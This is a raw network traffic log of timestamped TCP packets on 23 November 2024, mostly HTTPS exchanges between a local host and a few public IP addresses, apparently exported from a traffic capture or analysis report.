Nov 23, 2024 21:11:47.216973066 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.266326904 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.310600042 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.310611963 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.310636997 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.310673952 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.310707092 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.310714960 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.310714960 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.310790062 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.311182976 CET	49805	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.311198950 CET	443	49805	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.314826965 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.314873934 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.315217972 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.315690041 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.315706968 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.316050053 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.316093922 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.316142082 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.316411018 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:47.316422939 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:47.780855894 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:47.780966997 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:47.781070948 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:47.782392025 CET	49806	443	192.168.2.4	54.171.242.81
Nov 23, 2024 21:11:47.782413960 CET	443	49806	54.171.242.81	192.168.2.4
Nov 23, 2024 21:11:49.108303070 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.108915091 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.108952045 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.109481096 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.109802961 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.109888077 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.109950066 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.151345015 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.155929089 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.286705017 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.287406921 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.287434101 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.287584066 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.287760973 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.287775993 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.287806034 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.288063049 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.288113117 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.288207054 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.288789988 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.288863897 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.289155006 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.289207935 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.289237022 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.328852892 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.328872919 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.331336975 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.343882084 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:49.343915939 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:49.391498089 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.409221888 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.409312010 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.409332037 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.409368038 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.409377098 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.409403086 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.409420013 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.409425974 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.409475088 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.409553051 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.409562111 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.409604073 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.488960028 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.489092112 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.533023119 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.533050060 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.533056974 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.533142090 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.533180952 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.577569008 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.584135056 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.584217072 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.584230900 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.621361971 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.621422052 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.621452093 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.621467113 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.621490955 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.621643066 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.621795893 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.621805906 CET	443	49807	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.621817112 CET	49807	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.629434109 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.629451990 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.629530907 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.629565001 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.671431065 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.777503967 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.777520895 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.777556896 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.777573109 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.777594090 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.777600050 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.777618885 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.777686119 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.809092045 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.809108019 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.809142113 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.809169054 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.809207916 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.809238911 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.809612989 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.814273119 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.814347029 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.824078083 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.824137926 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.824157953 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.824206114 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.824243069 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.824258089 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.824275970 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.861922979 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.861938000 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.861974955 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.861988068 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.861999035 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.862040043 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.983752966 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.983784914 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.983834028 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.983890057 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:50.983978987 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:50.984025002 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.010406971 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.010438919 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.010564089 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.010591984 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.010621071 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.029678106 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.029705048 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.029759884 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.029774904 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.029823065 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.049815893 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.049844980 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.049913883 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.049927950 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.049981117 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.049981117 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.068715096 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.068746090 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.068793058 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.068826914 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.068839073 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.068873882 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.068895102 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.086904049 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.087004900 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.113122940 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.116451979 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.116466999 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.116511106 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.116545916 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.116576910 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.116591930 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.116658926 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.116699934 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.129071951 CET	49809	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.129101992 CET	443	49809	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.193936110 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.193988085 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.194039106 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.194082022 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.194156885 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.194197893 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.214200974 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.214230061 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.214304924 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.214329004 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.214359045 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.226419926 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.226461887 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.226495028 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.226500034 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.226522923 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.226547956 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.226547956 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.226562023 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.226617098 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.233038902 CET	49808	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.233077049 CET	443	49808	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.255466938 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:51.255506992 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:51.255568027 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:51.257133961 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:51.257143021 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:51.263977051 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:51.264030933 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:51.264091015 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:51.267182112 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:51.267210007 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:51.452425957 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.452493906 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.452651024 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.453414917 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.453443050 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.453680038 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.453721046 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.453779936 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.453962088 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:51.453977108 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:51.989619970 CET	49798	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:11:52.115854979 CET	2068	49798	192.168.68.139	192.168.2.4
Nov 23, 2024 21:11:53.112662077 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.113368034 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.113383055 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.114449024 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.114502907 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.114799023 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.114846945 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.114968061 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.114972115 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.155391932 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.226217031 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.227039099 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.227058887 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.227521896 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.228034973 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.228101969 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.228178978 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:53.275325060 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:53.528698921 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.529159069 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.529400110 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:53.529412985 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.529726982 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:53.529750109 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.529759884 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.530034065 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:53.530076981 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.530088902 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.530169964 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:53.530395031 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:53.530450106 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.531323910 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:53.575328112 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:53.579335928 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.410418987 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.468189955 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.529762983 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.529788017 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.529808044 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.529822111 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.529850006 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.529851913 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.529876947 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.529903889 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.529905081 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.529923916 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.529942036 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.530005932 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.582344055 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.606961966 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.607004881 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.607012033 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.607033014 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.607053041 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.607064009 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.607078075 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.607098103 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.607117891 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.670034885 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.670068979 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.670118093 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.670120955 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.670145035 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.670151949 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.670172930 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.670176029 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.670190096 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.670217991 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.670268059 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.704416037 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.704473972 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.704519033 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.704540014 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.704555988 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.742389917 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.742590904 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.751740932 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.790069103 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.802850962 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.802875996 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.802973986 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.802987099 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.803232908 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.816348076 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.816519022 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.816591978 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:54.817697048 CET	49812	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:54.817718029 CET	443	49812	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.822854996 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.822889090 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.823087931 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.823323965 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.823334932 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.823630095 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.823688984 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:54.823707104 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.823723078 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.823765039 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:54.823947906 CET	49813	443	192.168.2.4	108.158.71.166
Nov 23, 2024 21:11:54.823964119 CET	443	49813	108.158.71.166	192.168.2.4
Nov 23, 2024 21:11:54.825917959 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.825949907 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.826014996 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.826023102 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.826061010 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.829793930 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.829821110 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.829893112 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.830054045 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.830063105 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.833585978 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.833745956 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.855035067 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.855057001 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.855089903 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.855104923 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.855137110 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.855178118 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.855195999 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.855233908 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.856645107 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.856714010 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.856724977 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.856776953 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.856817007 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.857439995 CET	49810	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.857459068 CET	443	49810	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.883948088 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.883960962 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.884008884 CET	443	49811	108.158.71.51	192.168.2.4
